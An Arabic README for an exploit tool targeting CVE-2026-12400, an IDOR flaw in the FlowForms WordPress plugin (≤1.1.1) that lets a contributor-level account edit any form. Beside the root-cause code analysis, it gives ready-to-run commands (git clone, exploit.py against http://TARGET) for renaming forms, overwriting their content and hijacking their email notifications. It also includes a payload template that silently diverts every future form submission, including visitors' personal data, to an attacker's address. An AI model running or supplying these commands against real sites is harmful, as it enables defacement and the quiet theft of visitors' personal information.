
# استغلال IDOR مُوثَّق في ووردبريس لثغرة CVE-2026-12400؛ يقوم بتعداد معرّفات نماذج REST الخاصة بـ FlowForms وتعديل محتوى النماذج أو اختطاف إشعارات البريد الإلكتروني.
إحالة مرجع كائن غير آمنة (مصادق عليها بمستوى محرر+) لتعديل عشوائي للنموذج في FlowForms ≤ 1.1.1
| الخاصية | القيمة |
|---|---|
| معرف CVE | CVE-2026-12400 |
| درجة CVSS | 4.3 — متوسطة |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (تجاوز التفويض من خلال مفتاح يتحكم به المستخدم) |
| المنتج | FlowForms — إضافة منشئ نماذج المحادثة لووردبريس |
| المتأثر | جميع الإصدارات حتى 1.1.1 |
| تم الإصلاح في | تم الإصلاح في 1.1.2 |
| الباحث | Phantom Hat |
دراسة حالة كاملة بالصندوق الأبيض مع تحليل شفرة المصدر، تتبع تدفق الإدخال، ومقارنة التصحيح:
يُظهر FlowForms نقطتي نهاية REST اثنتين تحت مساحة اسم flowforms/v1 تكونان عرضة للخطر:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
كلتاهما تقبل {id} التي يتحكم بها المستخدم في مسار URL وتعدل بيانات النموذج المستهدف — الاسم والمحتوى والتخطيط وعنوان URL لإعادة التوجيه ومستلمي إشعارات البريد الإلكتروني.
كلا مسجلي المسار الضعيفين يشاركان نفس permission_callback المعيبة:
// تحديث محتوى النموذج / الاسم
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// تحديث إعدادات النموذج (إشعارات البريد الإلكتروني، التخطيط، إلخ.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts هي صلاحية يمتلكها المحررون المساهمون. لا يتم أبدًا التحقق من المعامل {id} مقابل ملكية المستخدم الطالب — يمكن لأي مستخدم مصادق أن يستهدف أي معرف نموذج على الموقع.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) المصادقة كمحرر مساهم
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) استخراج nonce REST
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) تعداد النماذج المنشورة
│<─ HTTP 200 ───────────────────────│ (أي نموذج يمكن الوصول إليه هو هدف)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) الكتابة فوق اسم النموذج / محتواه
│ مع حمولة المهاجم ──────────>│ ← لا يوجد فحص للمالك
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) اختطاف إشعارات البريد الإلكتروني
│ /settings ─────────────────>│ ← يتلقى المهاجم جميع
│<─ { "success": true } ────────────│ إرسالات النماذج المستقبلية
│ │
│ جميع نواقل الهجوم الثلاثة مؤكدة │ (5) الاسم ✔ المحتوى ✔ البريد الإلكتروني ✔
| الوضع | نقطة النهاية | التأثير |
|---|---|---|
الاسم | /forms/{id} | إعادة تسمية أي نموذج — تشويه، هندسة اجتماعية |
المحتوى | /forms/{id} | الكتابة فوق التخطيط، شاشات الترحيب/الشكر، عنوان URL لإعادة التوجيه |
البريد الإلكتروني | /forms/{id}/settings | اختطاف إشعار البريد الإلكتروني — استقبال جميع إرسالات النماذج بصمت |
وضع البريد الإلكتروني هو الأكثر حرجية. بعد الاختطاف، يتم توجيه كل إرسال إلى نموذج الاتصال الخاص بالضحية — بما في ذلك المعلومات الشخصية للزوار والرسائل وتفاصيل الاتصال — بصمت إلى العنوان الذي يتحكم به المهاجم. لا يرى مسؤول الموقع أي مؤشر على التغيير.
Contributor على الموقع المستهدفgit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
إعادة تسمية أي نموذج إلى محتوى يتحكم به المهاجم:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
الكتابة فوق تخطيط النموذج والشاشات وعنوان URL لإعادة التوجيه والصور الخلفية:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
توجيه جميع إشعارات إرسال النماذج المستقبلية إلى عنوان يتحكم به المهاجم:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| الوسم | المختصر | الوصف | مطلوب |
|---|---|---|---|
--url | -u | عنوان URL المستهدف لووردبريس | ✅ |
--user | اسم المستخدم في ووردبريس (محرر مساهم+) | ✅ | |
--password | كلمة مرور ووردبريس | ✅ | |
--id-start | -i | معرف البداية لتعداد النماذج | ✅ |
--num-forms | -n | عدد معرفات النماذج لتعدادها | ✅ |
--exploit | وضع الهجوم: name / content / email | ✅ | |
--proxy | -p | عنوان URL للوكيل (مثال http://127.0.0.1:8080) | ❌ |
قوالب حمولة JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) معرفة في أعلى السكريبت. قم بتعديلها قبل التشغيل لتخصيص محتوى الهجوم — تغيير عنوان البريد الإلكتروني للإشعار، عنوان URL لإعادة التوجيه، الصورة الخلفية، عنوان النموذج، إلخ.
# أعلى ملف exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← غيّر هذا
...
}
}
}
}
}""")
يقوم الأداة الاستغلالية بثلاث خطوات آلية:
الخطوة 1 — المصادقة
تسجيل الدخول كمهاجم (محرر مساهم) واستخراج nonce REST صالح من wp-admin/post-new.php.